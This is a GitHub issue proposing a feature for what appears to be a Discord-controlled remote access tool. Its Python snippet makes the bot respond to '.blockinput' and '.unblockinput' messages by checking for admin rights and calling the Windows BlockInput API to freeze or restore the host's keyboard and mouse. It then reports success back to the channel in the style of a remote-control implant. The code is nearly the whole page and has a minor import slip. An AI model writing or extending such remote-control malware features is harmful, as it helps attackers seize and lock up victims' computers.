Skip to content
This repository was archived by the owner on Dec 12, 2024. It is now read-only.
This repository was archived by the owner on Dec 12, 2024. It is now read-only.

add .blockinput #19

@isaaclins

Description

@isaaclins

if message.content.startswith(".blockinput"):
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
ok = windll.user32.BlockInput(True)
await message.channel.send("[*] Command successfully executed")
else:
await message.channel.send("[!] Admin rights are required for this operation")

    if message.content.startswith(".unblockinput"):
        import ctypes
        is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
        if is_admin == True:
            ok = windll.user32.BlockInput(False)
            await  message.channel.send("[*] Command successfully executed")
        else:
            await message.channel.send("[!] Admin rights are required for this operation")
            
            
            something along those lines???

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions